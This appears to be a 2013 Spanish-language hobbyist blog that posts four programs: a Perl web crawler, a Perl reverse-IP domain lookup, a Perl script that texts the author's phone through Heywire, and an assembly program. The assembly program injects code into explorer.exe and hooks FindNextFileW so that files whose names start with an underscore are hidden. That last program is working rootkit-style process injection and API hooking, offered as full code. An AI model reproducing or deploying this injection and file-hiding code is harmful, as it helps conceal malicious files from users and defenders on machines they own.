jueves, 21 de febrero de 2013

Web Crawler [Perl]

pequeño script en perl que enlaza por html todas las rutas de una pagina

crawler.pl
=pod
Author:   TR31N0RD
Name:     Crawler.pl
Verion:   0.1
E-Mail:  tr31n0rd@hotmail.com
Tw:  @TR31N0RD
Greetz:  All Members Of M1NDS
=cut

use LWP::UserAgent;
use URI;
use File::Basename;

@Links=();
@List=();
$Peticiones=0;


if ($#ARGV != 0)
{
 Logo();
 print "\nUsage: perl $0 http://example.com/index.php";
}
else
{
 Logo();
 $c=0;
 
 #Agregamos la primera Ruta a la lista
 push(@List,$ARGV[0]);
 
 #Limpiamos / Al Final
 $r=chop($List[$c]);
 if($r ne "/"){$List[$c].=$r;}
 
 
 #Convertimos el String a URI
 $Link = URI->new($List[$c]);
 
 #Sacamos el protocolo Usado
 $Protocol=$Link->scheme();
 
 #Sacamos el Host Principal
 $Host = $Link->host();
 
 #Sacamos el Path Principal
 $PrincipalPath=$Link->path();
 if($PrincipalPath eq ""){$PrincipalPath="//";}
 $PrincipalPath=SacarPath($PrincipalPath);
 print "Pagina: ".$Host."\n\n";
 
 
 do
 { 
  print "#".$c." URL: ".$List[$c]."\n";
  $Link = URI->new($List[$c]);
  
  $Path = $Link->path();
  if($Path eq ""){$Path="//";}
  $Path=SacarPath($Path);
  #print "Path: ".$Path."\n\n";
  
  my $Source=GetContent($List[$c]);
  SacarURI($Source,"href=",$Path);
  SacarURI($Source,"src=",$Path);
  
  #Ignoramos las Rutas Externas
  foreach(@Crawl)
  {
   #Limpiado URL 
   $_=~s/[\#|\?](.*$)//g;
   if($_=~/[\/|\\]$/){chop($_);}
   if($_=~/$Host/)
   {
    my $val=0;
    my $r1=$_;
    foreach(@List)
    {
     if($r1 eq $_){$val=1;last;}
    }
    if($val == 1){next;}
    push(@List,$_);
   }
  }
  $c++;
 }while($c<=$#List);
 
 print "\n\n$#List Archivos en $Peticiones Peticiones\n";
 open (Lista, ">Crawler.txt");
 foreach(@List)
 {
  print Lista $_."\n";
 }
 close(Lista);

}


sub SacarPath()
{
 my $Directorio=1;
 my $Original=$_[0];
 my $r=chop($_[0]);
 
 if($r ne "/")
 {
  while(true)
  {
   $r=chop($_[0]);
   $Ruto.=$r;
   if($r eq '.'){$Directorio=0;}
   if($r eq '/'){last;}
  }
  
  if($Directorio==0)
  {
   
   return dirname($Original);
  }
  else
  {
   
   return $Original."/";
  }
 }
 return $_[0];
}




sub SacarURI()
{
 my $Ruta=$_[2];
 my(@Clean)=$_[0]=~m/($_[1]\"*(.*?)")/gi;
 @Links = grep(s/href=\"|src=\"|\"//gi,@Clean);

 #Sacando Rutas
 $Rutas=$Ruta;
 $Rutas=~s/\/[^\/]*$/\//;
 chop($Rutas);
 while($Rutas gt $PrincipalPath)
 {
  push(@Links,$Link->scheme().":\/\/".$Host.$Rutas);
  $Rutas=~s/\/[^\/]*$/\//;
  chop($Rutas);
 }
 
 foreach(@Links)
 {
  if($_=~/^http:\/\//i || $_=~/^https:\/\//i)
  {
   push(@Crawl,$_);
  }
  else
  {
   if($_=~/^mailto/i){next;}
   if($_=~/^\//i){push(@Crawl,"http://".$Host.$_);}
   else{push(@Crawl,$Link->scheme().":\/\/".$Host.$Ruta.$_);}
  }
 }
}


sub GetContent()
{
 $Peticiones++;
 $ua = LWP::UserAgent->new(agent => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12');
 $response = $ua->get($_[0]);
 return $response->content;
}


sub Logo()
{
print"
          #                        
 #    #  ##   #    # #####   ####  
 ##  ## # #   ##   # #    # #      
 # ## #   #   # #  # #    #  ####  
 #    #   #   #  # # #    #      # 
 #    #   #   #   ## #    # #    # 
 #    # ##### #    # #####   ####
 
";
}

Reverse DNS [Perl]

reverse.pl
#!/usr/bin/perl
use LWP::UserAgent;
use HTTP::Request;

if($#ARGV == 0)
{
 $url = "http://www.yougetsignal.com/tools/web-sites-on-web-server/php/get-web-sites-on-web-server-json-data.php";
 $query = "remoteAddress=".$ARGV[0]."&key=";
 $ua = LWP::UserAgent->new;
 $ua->agent("Mozilla/5.0 (Windows NT 6.1; WOW64; rv:14.0) Gecko/20100101 Firefox/14.0.1");
 $req = HTTP::Request->new(POST => $url);
 $req->content_type('application/x-www-form-urlencoded');
 $req->content($query);
 $response = $ua->request($req);
 $content = $response->content();
 $content=~ s/(status|Success|resultsMethod|database|lastScrape|remoteAddress|remoteIpAddress|domainCount|"")//g;
 @valores=$content=~ /"(.*?)"/g;
 $val=0;    
 foreach(@valores)
 {
  if($val==1)
  {
   print $_."\n";
  }
  if($_ eq "domainArray"){$val=1;}
 } 
}
else
{
 print "\nUsage: perl $0 domain ";
}

Enviar Mensaje Heywire [Perl]

Una pequeña herramienta que uso para enviar mensajes al celular con heywire para saber el estado de alguna aplicacion que deje en ejecucion.

Message.pl

=pod
Author:   TR31N0RD
Name:     Message.pl
Verion:   0.1
E-Mail:  tr31n0rd@hotmail.com
Tw:  @TR31N0RD

#NUMEROCELULAR# = Numero de celular al cual enviar los mensajes
#USUARIO#       = Numero registrado por heywire
#PASSWORD#      = Contraseña de accesso

=cut

#!/usr/bin/perl  
#Modulos
use LWP::UserAgent;
use HTTP::Request;

if ($#ARGV>-1)
{
 foreach (@ARGV) 
  {
  $Mensaje.=$_." ";
  }
  
  Logo();

 #Cookie
 $Cookie="";
 $SetCont=0;
 $SetCookie=0;
 $pagina= "https://app.heywire.com/login.aspx/AttemptLogin";
 $query = "{\"PhoneNumber\":\"#USUARIO#\",\"Password\":\"#PASSWORD#\",\"rememberMe\":true}";
 post($pagina);
 print "[-] Get Cookie Session...\n";
 
 $SetCont=1;
 $SetCookie=1;
 $pagina="https://app.heywire.com/Login.aspx?ReturnUrl=%2fMain.aspx";
 $query="__EVENTTARGET=__Page&__EVENTARGUMENT=Redirect&ctl00_TheScriptManager_HiddenField=%3B%3BAjaxControlToolkit%2C+Version%3D3.5.40412.0%2C+Culture%3Dneutral%2C+PublicKeyToken%3D28f01b0e84b6d53e%3Aen-US%3A1547e793-5b7e-48fe-8490-03a375b13a33%3Ade1feab2%3Af9cec9bc%3A35576c48%3Aa67c2700%3Af2c8e708%3A8613aea7%3A3202a5a2%3Aab09e3fe%3A87104b7c%3Abe6fb298&__VIEWSTATE=%2FwEPDwUKMTA2NzE3ODE3NA9kFgJmD2QWAgIDD2QWAgIDD2QWAmYPZBYCAgMPZBYCAgcPDxYCHgRUZXh0ZWRkZDOqJQ0AhNLK%2FmY2fMjLUk5qIEWC&__EVENTVALIDATION=%2FwEWCgKHg%2FLpAgLv%2FOz2CgKi5ZbNAwKs1v2LDAKqvdFtAq3V6KIHArXt38QMAu%2BQ4N0KArma5KwHAuT1tr4EyOX1Mxr32eIOekxDriV3iALpkq8%3D&ctl00%24MainContentPlaceHolder%24NumberTB=%2B#USUARIO#&ctl00%24MainContentPlaceHolder%24NumberTextBoxWatermarkExtender_ClientState=&ctl00%24MainContentPlaceHolder%24PasswordTB=#PASSWORD#&ctl00%24MainContentPlaceHolder%24PasswordTextBoxWatermarkExtender_ClientState=&ctl00%24MainContentPlaceHolder%24forgotPasswordMobileNumber=&ctl00%24MainContentPlaceHolder%24TextBoxWatermarkExtender1_ClientState=&
ctl00%24MainContentPlaceHolder%24timeZoneOffset=";
 post($pagina);
 print "[-] Get Cookie .ASPXAUTH...\n";
 
 $SetCont=0;
 $pagina="https://app.heywire.com/Main.aspx/SendSMS";
 $query="{\"from\":\"#NUMEROCELULAR#\",\"to\":\"#NUMEROCELULAR#\",\"text\":\"".$Mensaje."\",\"loopBack\":false}";
 post($pagina);
 print "[OK] Message Send\n";
}
else
{
 Logo();
 print "Usage: perl $0 Message To Send\n";
}

sub post
{
 my $ua = LWP::UserAgent->new;
 $ua->agent("Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)");
 $req = HTTP::Request->new(POST => $_[0]);
 
 #Add Cookie
 if($SetCookie==1)
 {
  $req->header('Cookie' => $Cookie);
 }
 
 #Content Type
 if($SetCont==1)
 {
  $req->content_type('application/x-www-form-urlencoded');
 }
 else
 {
  $req->content_type('application/json; charset=utf-8');
 }
 $req->content($query);
 my $response = $ua->request($req);
 $Cookie.=$response->header('Set-Cookie')."; ";
} 

#Print Logo
sub Logo()
{
 print "\n\n";
 print" ######  ##     ##    ##          ###    ########   ######  \n";
 print"##    ## ###   ###    ##         ## ##   ##     ## ##    ## \n";
 print"##       #### ####    ##        ##   ##  ##     ## ##       \n";
 print"##       ## ### ##    ##       ##     ## ########   ######  \n";
 print"##       ##     ##    ##       ######### ##     ##       ## \n";
 print"##    ## ##     ##    ##       ##     ## ##     ## ##    ## \n";
 print" ######  ##     ##    ######## ##     ## ########   ######  \n";
 print "\n\n";
}

martes, 12 de febrero de 2013

Ocultar Files Hook Api FindNextFile [ASM]

En este caso oculta los archivos y carpetas que comiencen por la letra "_" en el proceso explorer.exe
ocultar.asm

format pe; console
 entry start
 include 'win32ax.inc'


;-------------Code Seccion---------------------------------
 section '.code' code readable executable

start:
 stdcall GetPID,Proceso

 stdcall Inyectar,addr Proceso,FINFuncion-FuncionInyectada,FuncionInyectada,[GetProcAddress]
 cmp eax,-1
 jne salir
 
 invoke MessageBoxA,0,"No se encontró el proceso!",0,0
 
 salir:
 invoke ExitProcess,0




proc Inyectar,ProcessName,Tamaño,Funcion,Datos
     ;Lazamos el proceso
     invoke OpenProcess,PROCESS_CREATE_THREAD+PROCESS_VM_OPERATION+PROCESS_VM_WRITE,FALSE,[PID]
   mov [hProcess],eax
 
   ;Reservamos espacio en el proceso
   invoke VirtualAllocEx,[hProcess],0,[Tamaño],MEM_COMMIT+MEM_RESERVE,PAGE_EXECUTE_READWRITE
   mov [DirFuncion],eax
 
   ;Escribimos los datos en memoria
   invoke WriteProcessMemory,[hProcess],[DirFuncion],[Funcion],[Tamaño],0
 
   ;Creamos el hilo
   invoke CreateRemoteThread,[hProcess],0,0,[DirFuncion],[Datos],0,0
   popad
   mov eax,1
   ret




endp


proc FuncionInyectada,pGetProcAddress
 
    locals
 BaseKernel32         dd  ?
 OriginalProtection        dd  ?
    endl
 
    ;Leemos el PEB  para obtener la base de KERNEL32.DLL
    xor  eax, eax
    add  eax,[fs:eax+30h]
    mov  eax, [eax + 0ch]
    mov  esi, [eax + 1ch]
    lodsd
    mov  eax, [eax + 08h]
    mov [BaseKernel32],eax
 
    ;Obtenemos la dirección de FindNextFileW
    stdcall [pGetProcAddress],[BaseKernel32],'FindNextFileW'
    mov ebx,eax

 ;Obtenemos la dirección de VirtualProtect
    stdcall [pGetProcAddress],[BaseKernel32],"VirtualProtect"
    stdcall eax,ebx,7,PAGE_EXECUTE_READWRITE,addr OriginalProtection
 
    ;Obtenemos Delta Offset
    call delta
    delta:
    pop edx
    sub edx,delta
    push edx
 
    ;Movemos la direccion de FIndNextFileW
    add edx,dirFindNextFileW
    mov dword[edx],ebx
 
    pop edx
 
    mov ecx,edx
    add ecx,ApiOriginal
    mov al,byte[ebx]
    mov byte[ecx],al
    mov byte[ebx],0xE9  ;0xE9 es igual a jmp
    inc ebx
    inc ecx
 
    mov eax,dword[ebx]
    mov dword[ecx],eax
    mov eax,FuncionHook
    add eax,edx
    sub eax,ebx
    sub eax,4
    mov dword[ebx],eax  ;guardamos en ebx la direccion a la que saltara
 
    add ebx,4
    add ecx,4
 
    mov ax,word[ebx]
    mov word[ecx],ax
 
    mov word[ebx],0x9090
 
    ret
 
    ;7 primeros bytes de la Api FindNextFileW y una rutina para saltar a FindNextFileW+7
    ApiOriginal:
 ;edx=delta
 ;7 nops que cambiaremos en tiempo de ejecución por los 7 primeros bytes de FindNextFileW
 nop
 nop
 nop
 nop
 nop
 nop
 nop
 
 add edx,dirFindNextFileW
 mov eax,dword[edx]
 add eax,7     ;Nos desplazamos 7 bytes
 jmp eax      ;Saltamos a FindNextFileW+7
 

    ;Funcion Hookeada
    proc FuncionHook,hFindFile,lpFindFileData
 Volver:

 call delta2
 delta2:
 pop edx
 sub edx,delta2
 

 push [lpFindFileData]
 push [hFindFile]
 mov ecx,edx
 add ecx,ApiOriginal
 call ecx
 cmp eax,0
 je Retornar
 
 mov ebx,[lpFindFileData]
 add ebx,44

 cmp byte[ebx],'_' ;Comparamos si el file empieza por el caracter _ si es asi saltamos a l inicio y pedimos un siguiente file de lo contrario lo mostramos
 jne Retornar
 jmp Volver
 
 Retornar:
 ret
   endp
;-------------------------------------------------------------------------------------------------------------------------------------------
 
 dirFindNextFileW    dd     ?
endp
 
FINFuncion:

proc GetPID ProcessName

 mov    [pInfo.dwSize],sizeof.PROCESSENTRY32
 invoke CreateToolhelp32Snapshot,2, 0
 mov    [hProcesos], eax

 invoke Process32First,[hProcesos],pInfo
.loop:
 mov    edi,Proceso
 invoke StrStrI,pInfo.szExeFile, edi
 cmp    eax,0
 je     .next
 jmp   get
.next:
 invoke Process32Next,[hProcesos],pInfo
 cmp    eax,0
 jne    .loop
 ccall [printf],'Proceso no encontrado'
 ccall [getchar]
 invoke ExitProcess,0
get:
 push [pInfo.th32ProcessID]
 pop [PID]
 ccall [printf],'%s :%d',addr Proceso,[PID],0Ah
 ccall [getchar]
 ret
endp

;-------------Data Seccion---------------------------------
section '.data' data readable writeable

 struct PROCESSENTRY32
        dwSize dd ?
        cntUsage dd ?
        th32ProcessID dd ?
        th32DefaultHeapID dd ?
        th32ModuleID dd ?
        cntThreads dd ?
        th32ParentProcessID dd ?
        pcPriClassBase dd ?
        dwFlags dd ?
        szExeFile rb MAX_PATH
 ends

 struct Datos
        sBufferCall dd ?
 ends

 dat Datos ?
 pInfo PROCESSENTRY32 ?
 hProcesos dd ?
 Proceso db 'explorer.exe',0
 Handle         dd          ?
       PID         dd          ?
       DirFuncion        dd          ?
       hProcess         dd          ?
       Tamaño dd ?





;-------------Import Data Seccion---------------------------------
section '.idata' import data readable writeable
library msvcrt, 'msvcrt.dll', kernel32, 'kernel32.dll',advapi32,'ADVAPI32.DLL',shell32,'SHELL32.DLL',user32,'user32.dll'
import msvcrt, printf, 'printf', getchar,'getchar', scanf,'scanf'


include 'API\shell32.inc'
include 'API\kernel32.inc'
include 'API\USER32.INC'